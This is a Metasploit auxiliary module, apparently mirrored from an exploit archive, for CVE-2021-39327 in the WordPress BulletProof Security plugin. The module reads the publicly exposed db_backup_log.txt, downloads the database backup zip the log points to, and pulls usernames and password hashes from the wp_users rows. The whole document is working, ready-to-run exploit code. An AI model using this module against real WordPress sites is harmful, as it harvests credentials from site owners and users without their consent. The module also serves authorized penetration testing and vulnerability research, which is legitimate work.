## https://sploitus.com/exploit?id=PACKETSTORM:181113
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress BulletProof Security Backup Disclosure',
'Description' => %q{
The Wordpress plugin BulletProof Security, versions <= 5.1, suffers from an information disclosure
vulnerability, in that the db_backup_log.txt is publicly accessible. If the backup functionality
is being utilized, this file will disclose where the backup files can be downloaded.
After downloading the backup file, it will be parsed to grab all user credentials.
},
'Author' => [
'Ron Jost (Hacker5preme)', # EDB module/discovery
'h00die' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['EDB', '50382'],
['CVE', '2021-39327'],
['PACKETSTORM', '164420'],
['URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DisclosureDate' => '2021-09-17',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def parse_sqldump_fields(line)
# pull all fields
line =~ /\((.+)\)/
return nil if Regexp.last_match(1).nil?
fields = line.split(',')
# strip each field
fields.collect { |e| e ? e.strip : e }
end
def parse_sqldump(content, ip)
read_next_line = false
login = nil
hash = nil
content.each_line do |line|
if read_next_line
print_status("Found user line: #{line.strip}")
fields = parse_sqldump_fields(line)
username = fields[login].strip[1...-1] # remove quotes
password = fields[hash].strip[1...-1] # remove quotes
print_good(" Extracted user content: #{username} -> #{password}")
read_next_line = false
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(password),
private_data: password,
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
end
# INSERT INTO `wp_users` ( ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name )
next unless line.start_with?('INSERT INTO `wp_users`')
read_next_line = true
# process insert statement to find the fields we want
next unless hash.nil?
fields = parse_sqldump_fields(line)
login = fields.index('user_login')
hash = fields.index('user_pass')
end
end
def parse_log(content, ip)
base = nil
file = nil
content.each_line do |line|
if line.include? 'DB Backup File Download Link|URL: '
base = line.split(': ').last
base = base.split('/')
base = base[3, base.length] # strip off anything before the URI
base = "/#{base.join('/')}".strip
end
if line.include? 'Zip Backup File Name: '
file = line.split(': ').last
file = file.split('/').last.strip
end
next if base.nil? || file.nil?
vprint_status("Pulling: #{base}#{file}")
res = send_request_cgi({
'uri' => normalize_uri("#{base}#{file}")
})
base = nil
next unless res && res.code == 200
p = store_loot(file, 'application/zip', rhost, res.body, file)
print_good("Stored DB Backup #{file} to #{p}, size: #{res.body.length}")
Zip::File.open(p) do |zip_file|
zip_file.each do |inner_file|
is = inner_file.get_input_stream
sqldump = is.read
is.close
parse_sqldump(sqldump, ip)
end
end
end
end
def run_host(ip)
vprint_status('Checking if target is online and running Wordpress...')
fail_with(Failure::BadConfig, 'The target is not online and running Wordpress') unless wordpress_and_online?
vprint_status('Checking plugin installed and vulnerable')
checkcode = check_plugin_version_from_readme('bulletproof-security', '5.2')
fail_with(Failure::BadConfig, 'The target is not running a vulnerable bulletproof-security version') if checkcode == Exploit::CheckCode::Safe
print_status('Requesting Backup files')
['/wp-content/bps-backup/logs/db_backup_log.txt', '/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt'].each do |url|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, url)
})
# <65 in length will be just the banner, like:
# BPS DB BACKUP LOG
# ==================
# ==================
unless res && res.code == 200 && res.body.length > 65
print_error("#{url} not found on server or no data")
next
end
filename = url.split('/').last
p = store_loot(filename, 'text/plain', rhost, res.body, filename)
print_good("Stored #{filename} to #{p}, size: #{res.body.length}")
parse_log(res.body, ip)
end
end
end